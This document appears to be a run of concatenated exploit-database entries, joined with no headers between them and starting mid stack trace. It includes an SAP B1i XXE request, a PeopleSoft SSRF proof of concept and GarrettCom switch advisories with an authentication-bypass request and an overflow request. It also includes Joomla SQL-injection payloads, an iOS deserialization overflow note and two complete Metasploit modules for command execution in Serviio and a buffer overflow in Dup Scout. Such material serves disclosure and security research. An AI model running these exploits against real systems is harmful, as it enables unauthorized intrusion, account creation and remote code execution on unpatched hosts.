	at com.sap.b1i.xcellerator.IPOWorkResource.execute(IPOWorkResource.java:527)
	at com.sap.b1i.xcellerator.IPOStepInstance.executeInner(IPOStepInstance.java:683)
	at com.sap.b1i.xcellerator.IPOStepInstance.executeOuter(IPOStepInstance.java:518)
	at com.sap.b1i.xcellerator.Xcellerator.trigger(Xcellerator.java:1422)
	at com.sap.b1i.xcellerator.SingleAdapterPool.trigger(SingleAdapterPool.java:462)
	at com.sap.b1i.xcellerator.ActiveListenerInteractor.trigger2(ActiveListenerInteractor.java:191)
	at com.sap.b1i.xcl_wsar.WSARListener.executeWSAx(WSARListener.java:219)
	at com.sap.b1i.xcl_wsar.WSARListener.handleWS(WSARListener.java:156)
	at com.sap.b1i.xcl_http.HTTPListener._doXxx(HTTPListener.java:1504)
	at com.sap.b1i.xcl_http.HTTPListener._doPost(HTTPListener.java:1405)
	at com.sap.b1i.xcl_http.HTTPListener.service(HTTPListener.java:805)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:723)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
	at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:233)
	at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:191)
	at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:563)
	at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:127)
	at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:103)
	at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109)
	at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:293)
	at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:861)
	at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:606)
	at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:489)
	at java.lang.Thread.run(Thread.java:812)
Caused by: com.sap.b1i.xcellerator.XcelleratorException: XCE001 Nested exception:
com.sap.b1i.utilities.UtilException: UTE001 Nested exception: javax.xml.transform.TransformerException: com.sun.org.apache.xml.internal.utils.WrappedRuntimeException: Connection timed out: connect
	at com.sap.b1i.xcl_wsar.WSARAdapter.get(WSARAdapter.java:295)
	at com.sap.b1i.xcellerator.IPOStepInstance.handleIO(IPOStepInstance.java:1391)
	at com.sap.b1i.xcellerator.IPOStepInstance.executeTransaction(IPOStepInstance.java:1050)
	at com.sap.b1i.xcellerator.IPOWorkResource.execute(IPOWorkResource.java:425)
	... 24 more
Caused by: com.sap.b1i.utilities.UtilException: UTE001 Nested exception: javax.xml.transform.TransformerException: com.sun.org.apache.xml.internal.utils.WrappedRuntimeException: Connection timed out: connect
	at com.sap.b1i.utilities.XMLHandler$DocumentManipulator.transformSource2Result(XMLHandler.java:272)
	at com.sap.b1i.utilities.SAXDoc2Pass.process(SAXDoc2Pass.java:121)
	at com.sap.b1i.utilities.SAXDocSplitter.process(SAXDocSplitter.java:14)
	at com.sap.b1i.xcl_wsar.WSARAdapter.get(WSARAdapter.java:255)
	... 27 more
Caused by: javax.xml.transform.TransformerException: com.sun.org.apache.xml.internal.utils.WrappedRuntimeException: Connection timed out: connect
	at com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl.getDOM(TransformerImpl.java:584)
	at com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl.transform(TransformerImpl.java:745)
	at com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl.transform(TransformerImpl.java:357)
	at com.sap.b1i.utilities.XMLHandler$DocumentManipulator.transformSource2Result(XMLHandler.java:264)
	... 30 more
Caused by: com.sun.org.apache.xml.internal.utils.WrappedRuntimeException: Connection timed out: connect
	at com.sun.org.apache.xalan.internal.xsltc.dom.XSLTCDTMManager.getDTM(XSLTCDTMManager.java:427)
	at com.sun.org.apache.xalan.internal.xsltc.dom.XSLTCDTMManager.getDTM(XSLTCDTMManager.java:215)
	at com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl.getDOM(TransformerImpl.java:562)
	... 33 more
</xci:callStack><xci:retryLater xmlns:xci="urn:com.sap.b1i.xcellerator:intdoc">false</xci:retryLater></detail></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope>


**************************************************************************


2) HTTP Request Response
**************************************************************************
POST /B1iXcellerator/exec/soap/vP.001sap0003.in_WCSX/com.sap.b1i.vplatform.runtime/INB_WS_CALL_SYNC_XPT/INB_WS_CALL_SYNC_XPT.ipo/proc HTTP/1.1
Content-Type: text/xml; charset=UTF-8
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.2.2; Custom Tablet - 4.2.2 - API 17 - 2560x1600 Build/JDQ39E) B1Mobile/1.2.3
Host: b1hmobile.tdc.sap.com:8443
Connection: close
Accept-Encoding: gzip
Cookie: JSESSIONID=3974AE7255D6C15EB0546A903DF474AC; JSESSIONID=3974AE7255D6C15EB0546A903DF474AC
Content-Length: 498

<?xml version='1.0' encoding='UTF-8' ?> <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><GetRecentActivity xmlns="http://tempuri.org/"><EndTime>2016-06-30 23:59</EndTime><StartTime>2016-06-01 00:00</StartTime><foo>&xxe;</foo></GetRecentActivity></soap:Body></soap:Envelope>












HTTP/1.1 200 OK
Date: Wed, 15 Jun 2016 10:19:44 GMT
Server: 
X-FRAME-OPTIONS: SAMEORIGIN
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/xml;charset=UTF-8
Connection: close
Content-Length: 9689

<?xml version='1.0' encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"><SOAP-ENV:Body>
<GetRecentActivityResponse xmlns="http://tempuri.org/">
        <GetRecentActivityResult>[{"Number":"2352","Remarks":"Sales discounts","StartDateTime":"2016-06-01 06:40","Activity":"C","EndDateTime":"2016-06-01 06:55","Organizer":"Tom Mobile","CnctPerson":"Daniel Brown","Status":"","Reminder":"N","RemQty":"15.000000","RemType":"M","Notes":""},{"Number":"2390","Remarks":"Sales planning","StartDateTime":"2016-06-17 06:40","Activity":"M","EndDateTime":"2016-06-17 06:55","Organizer":"Tom Mobile","CnctPerson":"Bob McKensly","Status":"","Reminder":"N","RemQty":"15.000000","RemType":"M","Notes":""}]</GetRecentActivityResult>
      </GetRecentActivityResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>



**************************************************************************

Solution:
SAP has released patch on 13/12/2016
 

## Credits
 * Ravindra Singh Rathore 
 * https://in.linkedin.com/in/ravindra-singh-rathore-8aa89236
 * https://twitter.com/ravindra_hacks
            
Application: Oracle PeopleSoft
Versions Affected: ToolsRelease: 8.55.03; ToolsReleaseDB: 8.55;
PeopleSoft HCM 9.2
Vendor URL: http://oracle.com
Bugs: SSRF
Reported: 23.12.2016
Vendor response: 24.12.2016
Date of Public Advisory: 18.04.2017
Reference: Oracle CPU April 2017
Author: Roman Shalymov (ERPScan)

Description

1. ADVISORY INFORMATION

Title:[ERPSCAN-17-022] SSRF in PeopleSoft IMServlet
Advisory ID: [ERPSCAN-17-022]
Risk: high
CVE: CVE-2017-3546
Advisory URL: https://erpscan.com/advisories/erpscan-17-022-ssrf-peoplesoft-imservlet/
Date published: 18.04.2017
Vendors contacted: Oracle


2. VULNERABILITY INFORMATION

Class: SSRF
Impact: cross-site port attack, service enumeration
Remotely Exploitable: yes
Locally Exploitable: yes

CVSS Information

CVSS Base Score v3:    8.0 / 10
CVSS Base Vector:
AV : Attack Vector (Related exploit range) Network (N)
AC : Attack Complexity (Required attack complexity) High (H)
PR : Privileges Required (Level of privileges needed to exploit) High (H)
UI : User Interaction (Required user participation) None (N)
S : Scope (Change in scope due to impact caused to components beyond
the vulnerable component) Changed (C)
C : Impact to Confidentiality High (H)
I : Impact to Integrity High (H)
A : Impact to Availability High (H)


3. VULNERABILITY DESCRIPTION

An attacker can force a vulnerable server to trigger malicious
requests to third-party servers or to internal resources. This
vulnerability can then be leveraged to launch specific attacks such as
a cross-site port attack, service enumeration, and various other
attacks.

4. VULNERABLE PACKAGES

ToolsRelease: 8.55.03
ToolsReleaseDB: 8.55
PeopleSoft HCM 9.2

5. SOLUTIONS AND WORKAROUNDS

To correct this vulnerability, implement Oracle CPU April 2017

6. AUTHOR

Roman Shalymov

7. TECHNICAL DESCRIPTION

PoC

Run netcat

1. nc -l -p # on some host

In browser open the following links

http://PPLSOFTSRV:8000/IMServlet?Method=CONNECT

http://PPLSOFTSRV::8000/IMServlet?Method=GOOGLE_PRESENCE&im_to_user=abc&im_server_name=GOOGLE&im_server=SOMEHOST:OPEN_PORT/?param=var%23"


Read response in netcat

GET /?param=var HTTP/1.1

User-Agent: Java1.7.0_95

Host: SOMEHOST:OPEN_PORT

Accept: text/html, image/gif, image/jpeg, /; q=.2

Connection: Keep-Alive


8. ABOUT ERPScan Research

ERPScan research team specializes in vulnerability research and
analysis of critical enterprise applications. It was acknowledged
multiple times by the largest software vendors like SAP, Oracle,
Microsoft, IBM, VMware, HP for discovering more than 400
vulnerabilities in their solutions (200 of them just in SAP!).

ERPScan researchers are proud of discovering new types of
vulnerabilities (TOP 10 Web Hacking Techniques 2012) and of the "The
Best Server-Side Bug" nomination at BlackHat 2013.

ERPScan experts participated as speakers, presenters, and trainers at
60+ prime international security conferences in 25+ countries across
the continents ( e.g. BlackHat, RSA, HITB) and conducted private
trainings for several Fortune 2000 companies.

ERPScan researchers carry out the EAS-SEC project that is focused on
enterprise application security awareness by issuing annual SAP
security researches.

ERPScan experts were interviewed in specialized info-sec resources and
featured in major media worldwide. Among them there are Reuters,
Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading, Heise,
Chinabyte, etc.

Our team consists of highly-qualified researchers, specialized in
various fields of cybersecurity (from web application to ICS/SCADA
systems), gathering their experience to conduct the best SAP security
research.

9. ABOUT ERPScan

ERPScan is the most respected and credible Business Application
Cybersecurity provider. Founded in 2010, the company operates globally
and enables large Oil and Gas, Financial, Retail and other
organizations to secure their mission-critical processes. Named as an
‘Emerging Vendor’ in Security by CRN, listed among “TOP 100 SAP
Solution providers” and distinguished by 30+ other awards, ERPScan is
the leading SAP SE partner in discovering and resolving security
vulnerabilities. ERPScan consultants work with SAP SE in Walldorf to
assist in improving the security of their latest solutions.

ERPScan’s primary mission is to close the gap between technical and
business security, and provide solutions for CISO's to evaluate and
secure SAP and Oracle ERP systems and business-critical applications
from both cyberattacks and internal fraud. As a rule, our clients are
large enterprises, Fortune 2000 companies and MSPs, whose requirements
are to actively monitor and manage security of vast SAP and Oracle
landscapes on a global scale.

We ‘follow the sun’ and have two hubs, located in Palo Alto and
Amsterdam, to provide threat intelligence services, continuous support
and to operate local offices and partner network spanning 20+
countries around the globe.
            
Introduction
------------

Vulnerabilities were identified in the Belden GarrettCom 6K and 10KT
(Magnum) series network switches. These were discovered during a black box 
assessment and therefore the vulnerability list should not be considered 
exhaustive; observations suggest that it is likely that further vulnerabilities 
exist. It is strongly recommended that GarrettCom undertake a full whitebox
security assessment of these switches.

The version under test was indicated as: 4.6.0.  Belden Garrettcom released
an advisory on 8 May 2017, indicating that issues were fixed in 4.7.7:
http://www.belden.com/docs/upload/Belden-GarrettCom-MNS-6K-10K-Security-Bulletin-BSECV-2017-8.pdf

GarrettCom-01 - Authentication Bypass: Hardcoded Web Interface Session Token
----------------------------------------------------------------------------

Severity: **High**

The string "GoodKey" can be used in place of a session token for the web
interface, allowing a complete bypass to all web interface authentication.
The following request/response demonstrates adding a user ‘gibson’ with the
password ‘god’ on any GarrettCom 6K or 10K switch.

    GET /gc/service.php?a=addUser&uid=gibson&pass=god&type=manager&key=GoodKey
HTTP/1.1
    Host: 192.168.0.2
    Connection: close
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/56.0.2924.28 Safari/537.36
    Accept: */*
    Referer: https://192.168.0.2/gc/flash.php
    Accept-Encoding: gzip, deflate, sdch, br
    Accept-Language: en-US,en;q=0.8


    HTTP/1.0 200 OK
    Server: GoAhead-Webs
    Content-Type: text/html

    <?xml version='1.0' encoding='UTF-8'?><data val="users"><changed
val="yes" />
    <helpfile val="user_accounts.html" />
    <user uid="operator" access="Operator" />
    <user uid="manager" access="Manager" />
    <user uid="gibson" access="Manager" />
    </data>

GarrettCom-02 - Secrets Accessible to All Users
-----------------------------------------------

Severity: **High**

Unprivileged but authenticated users ("operator" level access) can view the
plaintext passwords of all users configured on the system, allowing them to
escalate privileges to "manager" level.  While the default "show config"
masks the passwords, executing "show config saved" includes the plaintext
passwords. The value of the "secrets" setting does not affect this.

    6K>show config group=user saved
    ...
    #User Management#
    user
    add user=gibson level=2 pass=god
    Exit
    ...

GarrettCom-03 - Stack Based Buffer Overflow in HTTP Server
----------------------------------------------------------

Severity: **High**

When rendering the /gc/flash.php page, the server performs URI encoding of
the Host header into a fixed-length buffer on the stack.  This decoding appears
unbounded and can lead to memory corruption, possibly including remote code
execution.  Sending garbage data appears to hang the webserver thread after
responding to the present request.  Requests with Host headers longer than
220 characters trigger the observed behavior.

    GET /gc/flash.php HTTP/1.1
    Host: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    Connection: close
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/56.0.2924.28 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,
image/webp,*/*;q=0.8
    Accept-Encoding: gzip, deflate, sdch, br
    Accept-Language: en-US,en;q=0.8

GarrettCom-04 - SSL Keys Shared Across Devices
----------------------------------------------

Severity: **Moderate**

The SSL certificate on all devices running firmware version 4.6.0 is the
same.  This issue was previously reported and an advisory released by
ICS-CERT.  While GarrettCom reported the issue was fixed in 4.5.6, the web
server certificate remains static in 4.6.0:

    openssl s_client -connect 192.168.0.5:443 -showcerts
    CONNECTED(00000003)
    depth=0 C = US, ST = California, L = Fremont, O = Belden, OU =
Technical Support, CN = 192.168.1.2, emailAddress = gcisupport@belden.com
    verify error:num=18:self signed certificate
    verify return:1
    depth=0 C = US, ST = California, L = Fremont, O = Belden, OU =
Technical Support, CN = 192.168.1.2, emailAddress = gcisupport@belden.com
    verify return:1
    ---
    Certificate chain
    0 s:/C=US/ST=California/L=Fremont/O=Belden/OU=Technical Support/CN=
192.168.1.2/emailAddress=gcisupport@belden.com
    i:/C=US/ST=California/L=Fremont/O=Belden/OU=Technical Support/CN=
192.168.1.2/emailAddress=gcisupport@belden.com
    -----BEGIN CERTIFICATE-----
    MIIEtTCCA52gAwIBAgIBADANBgkqhkiG9w0BAQUFADCBnTELMAkGA1UEBhMCVVMx
    EzARBgNVBAgTCkNhbGlmb3JuaWExEDAOBgNVBAcTB0ZyZW1vbnQxDzANBgNVBAoT
    BkJlbGRlbjEaMBgGA1UECxMRVGVjaG5pY2FsIFN1cHBvcnQxFDASBgNVBAMTCzE5
    Mi4xNjguMS4yMSQwIgYJKoZIhvcNAQkBFhVnY2lzdXBwb3J0QGJlbGRlbi5jb20w
    HhcNMTUxMDI3MTEyNzQ2WhcNMjUxMDI0MTEyNzQ2WjCBnTELMAkGA1UEBhMCVVMx
    EzARBgNVBAgTCkNhbGlmb3JuaWExEDAOBgNVBAcTB0ZyZW1vbnQxDzANBgNVBAoT
    BkJlbGRlbjEaMBgGA1UECxMRVGVjaG5pY2FsIFN1cHBvcnQxFDASBgNVBAMTCzE5
    Mi4xNjguMS4yMSQwIgYJKoZIhvcNAQkBFhVnY2lzdXBwb3J0QGJlbGRlbi5jb20w
    ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDFlt+j4OvpcgfdrFGnBxti
    ds6r9sNEcR9JdAFbOmwybQkdqIw9Z9+teU/rixPocEE4gL8beNuw/D3lDc4RJ63m
    1zuQ1riFOkTsz7koKQNWTh3CkIBE7843p5I/GVvhfR7xNCCmCWPdq+6/b3nhott5
    oBeMLOjIWnjFgyVMsWR22JOYv+euWwr4oqZDLfBHjfipnu36J1E2kHLG3TL9uwyN
    DUxtrIbvfi5tOxi8tx1bxZFQU1jxoQa725gO+1TOYzfSoY1a7/M0rMhJM1wFXak6
    jbDbJLSv2TXMWrSJlGFUbCcKv3kE22zLcU/wx1Xl4a4NNvFW7Sf5OG2B+bFLr4fD
    AgMBAAGjgf0wgfowHQYDVR0OBBYEFLtGmDWgd773vSkKikDFSz8VOZ7DMIHKBgNV
    HSMEgcIwgb+AFLtGmDWgd773vSkKikDFSz8VOZ7DoYGjpIGgMIGdMQswCQYDVQQG
    EwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTEQMA4GA1UEBxMHRnJlbW9udDEPMA0G
    A1UEChMGQmVsZGVuMRowGAYDVQQLExFUZWNobmljYWwgU3VwcG9ydDEUMBIGA1UE
    AxMLMTkyLjE2OC4xLjIxJDAiBgkqhkiG9w0BCQEWFWdjaXN1cHBvcnRAYmVsZGVu
    LmNvbYIBADAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUAA4IBAQBAiuv06CMD
    ij+9bEZAfmHftptG4UqsNgYIFZ1sN7HC6RBR9xy45fWVcQN3l3KiyddLsftbZSOa
    CRPpzqgpF58hGwAa7+yQPOjOWf+uLc9Oyex6P9ewAo6c5iiYI865FSQ+QCY4xbD1
    Uk/WFV2LKOzxkXPRcVB4KR81g8tSZF3E8llybhEngg7cvN3uHpO5a5U085xuBbcF
    To9PSbGKyJ7UGESBTD6KxLWAxoD6VGRV2CAZa/F9RTbdG1ZbTUMvoEDmYqv7Pjv/
    ApZzztLJlCyhVM4N/jh/Q/g1VaQWuzPpza6utjN5soUxeZYJB6KwzGUiLnyTNBJz
    L4JtsUO8AcWb
    -----END CERTIFICATE-----

Note that Belden Garrettcom has addressed this issue by reinforcing that
users of the switches should install their own SSL certificates if they
do not want to use the default certificate and key.

GarrettCom-05 - Weak SSL Ciphers Enabled
----------------------------------------

Severity: **Moderate**

Many of the SSL ciphers available for the switch are outdated or use
insecure ciphers or hashes.  Additionally, no key exchanges with perfect forward
secrecy are offered, rendering all previous communications possibly compromised,
given the issue reported above.  Particularly of note is the use of 56-bit DES,
RC4, and MD5-based MACs.

    ssl3: AES256-SHA
    ssl3: CAMELLIA256-SHA
    ssl3: DES-CBC3-SHA
    ssl3: AES128-SHA
    ssl3: SEED-SHA
    ssl3: CAMELLIA128-SHA
    ssl3: RC4-SHA
    ssl3: RC4-MD5
    ssl3: DES-CBC-SHA
    tls1: AES256-SHA
    tls1: CAMELLIA256-SHA
    tls1: DES-CBC3-SHA
    tls1: AES128-SHA
    tls1: SEED-SHA
    tls1: CAMELLIA128-SHA
    tls1: RC4-SHA
    tls1: RC4-MD5
    tls1: DES-CBC-SHA
    tls1_1: AES256-SHA
    tls1_1: CAMELLIA256-SHA
    tls1_1: DES-CBC3-SHA
    tls1_1: AES128-SHA
    tls1_1: SEED-SHA
    tls1_1: CAMELLIA128-SHA
    tls1_1: RC4-SHA
    tls1_1: RC4-MD5
    tls1_1: DES-CBC-SHA
    tls1_2: AES256-GCM-SHA384
    tls1_2: AES256-SHA256
    tls1_2: AES256-SHA
    tls1_2: CAMELLIA256-SHA
    tls1_2: DES-CBC3-SHA
    tls1_2: AES128-GCM-SHA256
    tls1_2: AES128-SHA256
    tls1_2: AES128-SHA
    tls1_2: SEED-SHA
    tls1_2: CAMELLIA128-SHA
    tls1_2: RC4-SHA
    tls1_2: RC4-MD5
    tls1_2: DES-CBC-SHA

GarrettCom-06 - Weak HTTP session key generation
------------------------------------------------

Severity: **Moderate**

The HTTP session key generation is predictable due to the lack of
randomness in the generation process. The key is generated by hashing the 
previous hash result with the current time unit with precision around 50 unit 
per second. The previous hash is replaced with a fixed salt for the first hash 
generation.

The vulnerability allows an attacker to predict the first key that’s
generated by the switch if he has some knowledge about when the key was generated.
Alternatively, the vulnerability also enables privilege escalation attacks
which predict all future keys by observing two consecutive key generations of
lower privileges.

Timeline
--------

2017/01/?? - Issues Discovered
2017/01/27 - Reported to BEL-SM-PSIRT@belden.com
2017/04/27 - 90 day timeline expires, Belden reports patched release forthcoming.
2017/05/08 - Belden releases update & advisory.
2017/05/15 - Disclosure published

Discovery
---------

These issues were discovered by Andrew Griffiths, David Tomaschik, and
Xiaoran Wang of the Google Security Assessments Team.
            
# Exploit Title: Joomla 3.7.0 - Sql Injection
# Date: 05-19-2017
# Exploit Author: Mateus Lino
# Reference: https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
# Vendor Homepage: https://www.joomla.org/
# Version: = 3.7.0
# Tested on: Win, Kali Linux x64, Ubuntu, Manjaro and Arch Linux
# CVE : - CVE-2017-8917


URL Vulnerable: http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27


Using Sqlmap: 

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]


Parameter: list[fullordering] (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (DUAL)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (1573=1573) THEN 1573 ELSE 1573*(SELECT 1573 FROM DUAL UNION SELECT 9674 FROM DUAL) END)

    Type: error-based
    Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 6600 FROM(SELECT COUNT(*),CONCAT(0x7171767071,(SELECT (ELT(6600=6600,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT * FROM (SELECT(SLEEP(5)))GDiu)
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1172

Using lldb inside a simple hello_world app for iOS we can see that there are over 600 classes which we could get deserialized
(for persistance for example.)

The TextInput framework which is loaded has a class TIKeyboardLayout. The initWithCoder: implementation has this code:

(this is the x86 code, the framework is there on both platforms.)

  mov     r15, cs:selRef_decodeBytesForKey_returnedLength_
  lea     rdx, cfstr_Frames ; "frames"
  lea     rcx, [rbp+var_40]       <-- length of serialized binary data
  mov     rdi, r14
  mov     rsi, r15
  call    r13 ; _objc_msgSend
  mov     r12, rax                <-- pointer to serialized binary data
  mov     rdx, [rbp+var_40]
  shr     rdx, 3                  <-- divide length by 8
  mov     rax, cs:_OBJC_IVAR_$_TIKeyboardLayout__count ; uint64_t _count;
  mov     [rbx+rax], rdx
  mov     rsi, cs:selRef_ensureFrameCapacity_
  mov     rdi, rbx
  call    r13 ; _objc_msgSend     <-- will calloc(len/8, 8) and assign to _frames
  mov     rax, cs:_OBJC_IVAR_$_TIKeyboardLayout__frames ; struct _ShortRect *_frames;
  mov     rdi, [rbx+rax]  ; void *
  mov     rdx, [rbp+var_40] ; size_t     <-- original length not divided by 8
  mov     rsi, r12        ; void *
  call    _memcpy                        <-- can memcpy up to 7 bytes more than was allocated

This method reads binary data from the NSCoder, it divides the length by 8 and passes that to ensureFrameCapacity
which passes it to calloc with an item size of 8. This has the effect of mallocing the original size rounded down
to the nearest multiple of 8.

The memcpy then uses the original length (not rounded down) causing a controlled heap buffer overflow.

I've created a serialized TIKeyboardLayout with a frames value which is "A"*0x107.

Use ASAN to see the crash clearly (see provided compiler invokation.)

tested on MacOS 10.12.3 (16D32)


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42051.zip
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { :pattern => [ /Restlet-Framework/ ] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Serviio Media Server checkStreamUrl Command Execution',
      'Description'    => %q{
        This module exploits an unauthenticated remote command execution vulnerability
        in the console component of Serviio Media Server versions 1.4 to 1.8 on
        Windows operating systems.

        The console service (on port 23423 by default) exposes a REST API which
        which does not require authentication.

        The 'action' API endpoint does not sufficiently sanitize user-supplied data
        in the 'VIDEO' parameter of the 'checkStreamUrl' method. This parameter is
        used in a call to cmd.exe resulting in execution of arbitrary commands.

        This module has been tested successfully on Serviio Media Server versions
        1.4.0, 1.5.0, 1.6.0 and 1.8.0 on Windows 7.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Gjoko Krstic(LiquidWorm) <gjoko[at]zeroscience.mk>', # Discovery and exploit
          'Brendan Coles <bcoles[at]gmail.com>', # Metasploit
        ],
      'References'     =>
        [
          ['OSVDB', '41961'],
          ['PACKETSTORM', '142387'],
          ['URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5408.php'],
          ['URL', 'https://blogs.securiteam.com/index.php/archives/3094']
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Automatic Targeting', { 'auto' => true }]
        ],
      'Privileged'     => true,
      'DisclosureDate' => 'May 3 2017',
      'DefaultTarget'  => 0))
    register_options([ Opt::RPORT(23423) ])
  end

  def check
    res = execute_command('')

    unless res
      vprint_status 'Connection failed'
      return CheckCode::Unknown
    end

    if res.headers['Server'] !~ /Serviio/
      vprint_status 'Target is not a Serviio Media Server'
      return CheckCode::Safe
    end

    if res.headers['Server'] !~ /Windows/
      vprint_status 'Target operating system is not vulnerable'
      return CheckCode::Safe
    end

    if res.code != 200 || res.body !~ %r{<errorCode>603</errorCode>}
      vprint_status 'Unexpected reply'
      return CheckCode::Safe
    end

    if res.headers['Server'] =~ %r{Serviio/(1\.[4-8])}
      vprint_status "#{peer} Serviio Media Server version #{$1}"
      return CheckCode::Appears
    end

    CheckCode::Safe
  end

  def execute_command(cmd, opts = {})
    data = { 'name' => 'checkStreamUrl', 'parameter' => ['VIDEO', "\" &#{cmd}&"] }
    send_request_cgi('uri'    => normalize_uri(target_uri.path, 'rest', 'action'),
                     'method' => 'POST',
                     'ctype'  => 'application/json',
                     'data'   => data.to_json)
  end

  def exploit
    fail_with(Failure::NotVulnerable, 'Target is not vulnerable') unless check == CheckCode::Appears
    execute_cmdstager(:temp => '.', :linemax => 8000)
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Seh
  include Msf::Exploit::Remote::Egghunter
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Dup Scout Enterprise GET Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack-based buffer overflow vulnerability
        in the web interface of Dup Scout Enterprise v9.5.14, caused by
        improper bounds checking of the request path in HTTP GET requests
        sent to the built-in web server. This module has been tested
        successfully on Windows 7 SP1 x86.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'vportal',	     # Vulnerability discovery and PoC
          'Daniel Teixeira'  # Metasploit module
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'BadChars'   => "\x00\x09\x0a\x0d\x20\x26",
          'Space'      => 500
        },
      'Targets'        =>
        [
          [ 'Dup Scout Enterprise v9.5.14',
            {
              'Offset' => 2488,
              'Ret'    => 0x10050ff3  # POP # POP # RET [libspp.dll]
            }
          ]
        ],
      'Privileged'     => true,
      'DisclosureDate' => 'Mar 15 2017',
      'DefaultTarget'  => 0))
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => '/'
    )

    if res && res.code == 200
      version = res.body[/Dup Scout Enterprise v[^<]*/]
      if version
        vprint_status("Version detected: #{version}")
        if version =~ /9\.5\.14/
          return Exploit::CheckCode::Appears
        end
        return Exploit::CheckCode::Detected
      end
    else
      vprint_error('Unable to determine due to a HTTP connection timeout')
      return Exploit::CheckCode::Unknown
    end

    Exploit::CheckCode::Safe
  end

  def exploit

    eggoptions = {
      checksum: true,
      eggtag: rand_text_alpha(4, payload_badchars)
    }

    hunter, egg = generate_egghunter(
      payload.encoded,
      payload_badchars,
      eggoptions
    )

    sploit =  rand_text_alpha(target['Offset'])
    sploit << generate_seh_record(target.ret)
    sploit << hunter
    sploit << make_nops(10)
    sploit << egg
    sploit << rand_text_alpha(5500)

    print_status('Sending request...')

    send_request_cgi(
      'method' => 'GET',
      'uri'    => sploit
    )
  end
end
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1112

Windows: Running Object Table Register ROTFLAGS_ALLOWANYCLIENT EoP
